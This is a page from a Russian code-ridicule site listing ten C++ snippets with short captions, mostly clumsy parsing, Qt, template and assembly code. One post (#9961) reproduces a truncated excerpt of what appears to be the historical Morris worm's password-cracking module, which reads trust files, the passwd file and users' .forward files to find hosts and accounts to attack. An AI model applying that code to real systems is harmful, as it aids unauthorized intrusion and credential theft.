1. C++ / Говнокод #10170

    −3

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    sscanf_s(buf,
    		"%f%f%f%f%f%d%d%d%d%d%d"
    		"%f%f%f%f%f%d%d%d%d%d%d"
    		"%f%f%f%f%f%d%d%d%d%d%d"
    		"%f%f%f%f%f%d%d%d%d%d%d",
    		&_race_state._car[0]._x, &_race_state._car[0]._y, &_race_state._car[0]._vx,
    		&_race_state._car[0]._vy, &_race_state._car[0]._angle, &_race_state._car[0]._nitro_time,
    		&_race_state._car[0]._oiled_bus, &_race_state._car[0]._nirtos, &_race_state._car[0]._bonus,
    		&_race_state._car[0]._lap, &_race_state._car[0]._next_seg,
    		&_race_state._car[1]._x, &_race_state._car[1]._y, &_race_state._car[1]._vx,
    		&_race_state._car[1]._vy, &_race_state._car[1]._angle, &_race_state._car[1]._nitro_time,
    		&_race_state._car[1]._oiled_bus, &_race_state._car[1]._nirtos, &_race_state._car[1]._bonus,
    		&_race_state._car[1]._lap, &_race_state._car[1]._next_seg,
    		&_race_state._car[2]._x, &_race_state._car[2]._y, &_race_state._car[2]._vx,
    		&_race_state._car[2]._vy, &_race_state._car[2]._angle, &_race_state._car[2]._nitro_time,
    		&_race_state._car[2]._oiled_bus, &_race_state._car[2]._nirtos, &_race_state._car[2]._bonus,
    		&_race_state._car[2]._lap, &_race_state._car[2]._next_seg,
    		&_race_state._car[3]._x, &_race_state._car[3]._y, &_race_state._car[3]._vx,
    		&_race_state._car[3]._vy, &_race_state._car[3]._angle, &_race_state._car[3]._nitro_time,
    		&_race_state._car[3]._oiled_bus, &_race_state._car[3]._nirtos, &_race_state._car[3]._bonus,
    		&_race_state._car[3]._lap, &_race_state._car[3]._next_seg );

    парсим строчку...

    rip, 03 Мая 2012

    Комментарии (3)
  2. C++ / Говнокод #10162

    −20

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    void MainWindow::justDoIt(){
    ui->textEdit->clear();
    bool b[16];
    for (int i = 0; i < 16; ++i) {
        b[i] = false;
    }
        ui->textEdit->append("$$ \n \\begin{cases}");
        QString a;
        a += (ui->lineEdit->text().toDouble() == 0 ? "": (b[0] = true, ui->lineEdit->text().toDouble() == 1 && ui->checkBox->isChecked() ? "x_1" :ui->lineEdit->text().remove("+") + "x_1"));
        a += (ui->lineEdit_2->text().toDouble() == 0 ? "" : (b[1] = true,ui->lineEdit_2->text().toDouble() < 0 || (!b[0])? "":"+") +(ui->lineEdit_2->text().toDouble() == 1 && ui->checkBox->isChecked() ? "x_2" : ui->lineEdit_2->text().remove("+")+"x_2"));
        a += (ui->lineEdit_3->text().toDouble() == 0 ? "" : (b[2] = true,ui->lineEdit_3->text().toDouble() < 0 || (!b[0] && !b[1]) ? "":"+") +(ui->lineEdit_3->text().toDouble() == 1 && ui->checkBox->isChecked() ? "x_3" :ui->lineEdit_3->text().remove("+")+"x_3"));
        a += (ui->lineEdit_4->text().toDouble() == 0 ? "" : (b[3] = true,ui->lineEdit_4->text().toDouble() < 0 || (!b[0] && !b[1] && !b[2])? "":"+") +(ui->lineEdit_4->text().toDouble() == 1 && ui->checkBox->isChecked() ? "x_4" :ui->lineEdit_4->text().remove("+")+"x_4"));
        if(b[0] || b[1] || b[2] || b[3]){
            a += "=";
            a += ui->lineEdit_5->text();
            a += "\\\\\n";
        }
    /*еще такой же код*/ 
        a += (ui->lineEdit_24->text().toDouble() == 0 ? "" : (b[12] = true,ui->lineEdit_24->text().toDouble() == 1 && ui->checkBox->isChecked() ? "x_1" :ui->lineEdit_24->text()+"x_1"));
        a += (ui->lineEdit_21->text().toDouble() == 0 ? "" : (b[13] = true,ui->lineEdit_21->text().toDouble() < 0 || (!b[13])? "":"+") +(ui->lineEdit_21->text().toDouble() == 1 && ui->checkBox->isChecked() ? "x_2" :ui->lineEdit_21->text().remove("+")+"x_2"));
        a += (ui->lineEdit_23->text().toDouble() == 0 ? "" : (b[14] = true,ui->lineEdit_23->text().toDouble() < 0 || (!b[13]&&!b[14])? "":"+") +(ui->lineEdit_23->text().toDouble() == 1 && ui->checkBox->isChecked() ? "x_3" :ui->lineEdit_23->text().remove("+")+"x_3"));
        a += (ui->lineEdit_22->text().toDouble() == 0 ? "" : (b[15] = true,ui->lineEdit_22->text().toDouble() < 0 || (!b[13]&&!b[14]&&!b[15])? "":"+") +(ui->lineEdit_22->text().toDouble() == 1 && ui->checkBox->isChecked() ? "x_4" :ui->lineEdit_22->text().remove("+")+"x_4"));
        if(b[12] || b[13] || b[14] || b[15]){
            a += "=";
            a += ui->lineEdit_25->text();
        }
    
    ui->textEdit->append(a);
    ui->textEdit->append("\\end{cases} \n$$");
    }

    Превращает матрицу 4х5 в СЛАР на LaTeX

    Abbath, 01 Мая 2012

    Комментарии (10)
  3. C++ / Говнокод #10121

    +15

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    class Params
    {
        std::map<std::string, std::string> db;
    public:
        const_iterator find (const std::string &name) const 
        {
            for (auto i = db.begin(); i != db.end(); ++i) {
                if (i->first == name) {
                    const_iterator p(i);
                    return p;
                }
            }
            return db.end();
        }
    };

    Одногруппник ищет в мапе

    Alvar, 30 Апреля 2012

    Комментарии (12)
  4. C++ / Говнокод #10120

    +25

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    /*
        Шаг по оси, представляет собой число из следующего ряда:
        ... 0.02 0.05 0.1 0.2 0.5 1 2 5 ...
        next и prev позволяют перемещаться в обе стороны по ряду
        после создания хранится число 1
    */
    class Step
    {
    public:
        Step()
        {
            scale = 1; pr = 1; type=0;
        }
        void next()
        {
            // шаг вперед
            type++;
            if (type==1)
                scale = pr * 2;
            else if (type==2)
                scale = pr * 5;
            else
            {
                type = 0;
                pr *= 10;
                scale = pr;
            }
        }
        void prev()
        {
            // шаг назад
            type--;
            if (type==0)
                scale = pr;
            else if (type==1)
                scale = pr*2;
            else
            {
                type = 2;
                pr /= 10;
                scale = pr*5;
            }
        }
        operator float()
        {
            return scale;
        }
    protected:
        float scale;    // текущее значение
        float pr;       // недомноженое значение 1 10 100 ...
        int type;       // 0 - x1 1 - x2 2 - x5
    };

    http://govnokod.ru/10117 напомнил о том, как я когда-то рисовал график, и для меток на осях потребовались те же самые красивые значения [... 0.1 0.2 0.5 1 2 5 ...]

    bormand, 30 Апреля 2012

    Комментарии (20)
  5. C++ / Говнокод #10115

    +18

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    //---------------------------------------------------------
    void Link::paint(QPainter *painter, const QStyleOptionGraphicsItem *option, QWidget *widget)
    {
        Q_UNUSED(option);
        Q_UNUSED(widget);
    
    
        if ( mA && mB )
        {
            QPen pen(mColor, mPenWidth);
            painter->setPen(pen);
    
    
            if ( smooth() )
                painter->setRenderHint(QPainter::Antialiasing, true);
    
    
            QString ptname = mA->objectName() + QString("_point%1").arg(mAPoint);
            QDeclarativeItem *aConn = mA->findChild<QDeclarativeItem*>(ptname);
            QDeclarativeItem *bConn = *(QDeclarativeItem**) mB->property("root").constData();
    
    
            QRectF arect(aConn->x() + mA->x() - mB->x(), aConn->y() + mA->y() - mB->y(), aConn->width(), aConn->height());
            QRectF brect(bConn->x(), bConn->y(), bConn->width(), bConn->height());
    
    
            QLineF line(arect.center(), brect.center());
    
    
            painter->drawLine(line);
    
    
            if ( widget )
                widget->update();
       }
    }

    Из коммита где-то в 4:00 :)

    Elvenfighter, 30 Апреля 2012

    Комментарии (11)
  6. C++ / Говнокод #9969

    +139

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    #include <iostream>
    #include <conio.h>
    
    #define true false // Wish you happy debug!
    
    int main(int argc, char* argv[])
    {
        std::cout << (((1+1)==2) ? true : false);
    
        getch();
        return 0;
    }

    Wish you happy debug!

    ipchelnikov, 17 Апреля 2012

    Комментарии (2)
  7. C++ / Говнокод #9961

    +992

    1. 001
    2. 002
    3. 003
    4. 004
    5. 005
    6. 006
    7. 007
    8. 008
    9. 009
    10. 010
    11. 011
    12. 012
    13. 013
    14. 014
    15. 015
    16. 016
    17. 017
    18. 018
    19. 019
    20. 020
    21. 021
    22. 022
    23. 023
    24. 024
    25. 025
    26. 026
    27. 027
    28. 028
    29. 029
    30. 030
    31. 031
    32. 032
    33. 033
    34. 034
    35. 035
    36. 036
    37. 037
    38. 038
    39. 039
    40. 040
    41. 041
    42. 042
    43. 043
    44. 044
    45. 045
    46. 046
    47. 047
    48. 048
    49. 049
    50. 050
    51. 051
    52. 052
    53. 053
    54. 054
    55. 055
    56. 056
    57. 057
    58. 058
    59. 059
    60. 060
    61. 061
    62. 062
    63. 063
    64. 064
    65. 065
    66. 066
    67. 067
    68. 068
    69. 069
    70. 070
    71. 071
    72. 072
    73. 073
    74. 074
    75. 075
    76. 076
    77. 077
    78. 078
    79. 079
    80. 080
    81. 081
    82. 082
    83. 083
    84. 084
    85. 085
    86. 086
    87. 087
    88. 088
    89. 089
    90. 090
    91. 091
    92. 092
    93. 093
    94. 094
    95. 095
    96. 096
    97. 097
    98. 098
    99. 099
    100. 100
    /* Dover */
    
    #include "worm.h"
    #include <stdio.h>
    #include <ctype.h>
    #include <strings.h>
    #include <pwd.h>
    
    int cmode;
    extern struct hst *h_name2host();
    
    struct usr {					/* sizeof(usr) == 58 */
        char *name, *o4, *o8, *o12;
        char passwd[14];				/* offset 16 */
        char decoded_passwd[14];			/* 30 */
        short pad;
        char *homedir;				/* offset 46 */
        char *gecos;				/* offset 50 */
        struct usr *next;				/* offset 54 */
    };
    
    /* Ahhh, I just love these names.  Don't change them for anything. */
    static struct usr *x27f28, *x27f2c;
    
    /* Crack some passwords. */
    cracksome()
    {
        switch (cmode){
        case 0:
    	strat_0();
    	return;					/* 88 */
        case 1:
    	strat_1();
    	return;
        case 2:
    	try_words();
    	return;
        case 3:
    	dict_words();
    	return;
        }
    }
    
    /* Strategy 0, look through /etc/hosts.equiv, and /.rhost for new hosts */
    strat_0()					/* 0x5da4 */
    {
        FILE *hosteq;
        char scanbuf[512];
        char fwd_buf[256];
        char *fwd_host;
        char getbuf[256];
        struct passwd *pwent;
        char local[20];
        struct usr *user;
        struct hst *host;				/* 1048 */
        int check_other_cnt;			/* 1052 */
        static struct usr *user_list = NULL;
    
        hosteq = fopen(XS("/etc/hosts.equiv"), XS("r"));
        if (hosteq != NULL) {			/* 292 */
    	while (fscanf(hosteq, XS("%.100s"), scanbuf)) {
    	    host = h_name2host(scanbuf, 0);
    	    if (host == 0) {
    		host = h_name2host(scanbuf, 1);
    		getaddrs(host);
    	    }
    	    if (host->o48[0] == 0)		/* 158 */
    		continue;
    	    host->flag |= 8;
    	}
    	fclose(hosteq);				/* 280 */
        }
    
        hosteq = fopen(XS("/.rhosts"), XS("r"));
        if (hosteq != NULL) {			/* 516 */
    	while (fgets(getbuf, sizeof(getbuf), hosteq)) { /* 344,504 */
    	    if (sscanf(getbuf, XS("%s"), scanbuf) != 1)
    		continue;
    	    host = h_name2host(scanbuf, 0);
    	    while (host == 0) {			/* 436, 474 */
    		host = h_name2host(scanbuf, 1);
    		getaddrs(host);
    	    }
    	    if (host->o48[0] == 0)
    		continue;
    	    host->flag |= 8;
    	}
    	fclose(hosteq);
        }
    
        /* look through the passwd file, checking for contact with others every
         * tenth entry. */
        setpwent();
        check_other_cnt = 0;					/* 522 */
        while ((pwent = getpwent()) != 0) {		/* 526, 1124 */
    	if ((check_other_cnt % 10) == 0)
    	    other_sleep(0);
    	check_other_cnt++;
    	sprintf(fwd_buf, XS("%.200s/.forward"), pwent->pw_dir);
    	hosteq = fopen(fwd_buf, XS("r"));...

    Govnisti_Diavol, 16 Апреля 2012

    Комментарии (8)
  8. C++ / Говнокод #9959

    +1000

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    template<class THTTPServerSettings_>
    	class TSettingsApplyer: public TAbstractSettingsApplyer
    	{
    	private:
    		enum
    		{
    			RESPONSE_BUFFER_SIZE=THTTPServerSettings_::ResponseBufferSize>THTTPServerSettings_::FullBufferedResponseSize?THTTPServerSettings_::ResponseBufferSize:THTTPServerSettings_::FullBufferedResponseSize
    		};
    		char _requestBuffer[THTTPServerSettings_::RequestBufferSize];
    		char _responseBuffer[RESPONSE_BUFFER_SIZE];
    		char _requestHeaderBuffer[THTTPServerSettings_::RequestHeaderBufferSize];
    		char _responseHeaderBuffer[THTTPServerSettings_::ResponseHeaderBufferSize];
    		
    	public:
    		TSettingsApplyer(void);
    		virtual void* const GetRequestBuffer(void) const;
    		virtual void* const GetRequestHeaderBuffer(void) const;
    		virtual void* const GetResponseBuffer(void) const;
    		virtual void* const GetResponseHeaderBuffer(void) const;
    		virtual const size_t GetPort(void) const;
    		virtual const size_t GetRequestBufferSize(void) const;
    		virtual const size_t GetRequestHeaderBufferSize(void) const;
    		virtual const size_t GetResponseBufferSize(void) const;
    		virtual const size_t GetResponseHeaderBufferSize(void) const;
    	};
    //...
    template<class TSettings>
    	THTTPServer( TSettings settings ):
    		_SettingsApplyer(*(::new TSettingsApplyer< TSettings >)),

    Говногость, 16 Апреля 2012

    Комментарии (2)
  9. C++ / Говнокод #9957

    +1002

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    //pugiXML.cpp:
    template <bool _1, bool _2, bool _3, bool _4> struct opt4_to_type
    	{
    		static const bool o1;
    		static const bool o2;
    		static const bool o3;
    		static const bool o4;
    	};
    
    	template <bool _1, bool _2, bool _3, bool _4> const bool opt4_to_type<_1, _2, _3, _4>::o1 = _1;
    	template <bool _1, bool _2, bool _3, bool _4> const bool opt4_to_type<_1, _2, _3, _4>::o2 = _2;
    	template <bool _1, bool _2, bool _3, bool _4> const bool opt4_to_type<_1, _2, _3, _4>::o3 = _3;
    	template <bool _1, bool _2, bool _3, bool _4> const bool opt4_to_type<_1, _2, _3, _4>::o4 = _4;
    //...
    case 0:  return strconv_attribute_t(s, end_quote, opt4_to_type<0, 0, 0, 0>());
    		case 1:  return strconv_attribute_t(s, end_quote, opt4_to_type<0, 0, 0, 1>());
    		case 2:  return strconv_attribute_t(s, end_quote, opt4_to_type<0, 0, 1, 0>());
    		case 3:  return strconv_attribute_t(s, end_quote, opt4_to_type<0, 0, 1, 1>());
    		case 4:  return strconv_attribute_t(s, end_quote, opt4_to_type<0, 1, 0, 0>());
    		case 5:  return strconv_attribute_t(s, end_quote, opt4_to_type<0, 1, 0, 1>());
    //...
    		case 14: return strconv_attribute_t(s, end_quote, opt4_to_type<1, 1, 1, 0>());
    		case 15: return strconv_attribute_t(s, end_quote, opt4_to_type<1, 1, 1, 1>());
    //...
    inline xml_parse_result make_parse_result(xml_parse_status status, unsigned int offset, unsigned int line)
    	{
    		xml_parse_result result = {status, offset, line};
    		return result;
    	}
    
    //pugixpath.cpp:
    block = static_cast<memory_block*>(operator new(size + sizeof(memory_block) - xpath_memory_block_size));

    PugiXML

    Говногость, 16 Апреля 2012

    Комментарии (10)
  10. C++ / Говнокод #9956

    +155

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    int main() {
        
        float a = 3.14;
        
        asm volatile (
                        "decl   %%esp"                      "\n\t"
                        "movb   $0, (%%esp)"                "\n\t"
                        "decl   %%esp"                      "\n\t"
                        "movb   $'\n', (%%esp)"             "\n\t"
                        "movl   $32, %%eax"                 "\n"
            "label0:"                                       "\n\t"
                        "shrl   %[A]"                       "\n\t"
                        "decl   %%esp"                      "\n\t"
                        "jc     label1"                     "\n\t"
                        "movb   $'0', (%%esp)"              "\n\t"
                        "jmp    label2"                     "\n"
            "label1:"                                       "\n\t"
                        "movb   $'1', (%%esp)"              "\n\t"
            "label2:"                                       "\n\t"
                        "decl   %%eax"                      "\n\t"
                        "cmpl   $0, %%eax"                  "\n\t"
                        "ja     label0"                     "\n\t"
                                                            "\n\t"
                        "pushl  %%esp"                      "\n\t"
                        "call   printf"                     "\n\t"
                                                            "\n\t"
                        "addl   $38, %%esp"                 "\n"
            
            : /* no output registers */
            : [A] "r" (a)
            : "%esp", "%eax"
        );
        
        return 0;
    }

    float > bin

    igoreknog, 16 Апреля 2012

    Комментарии (4)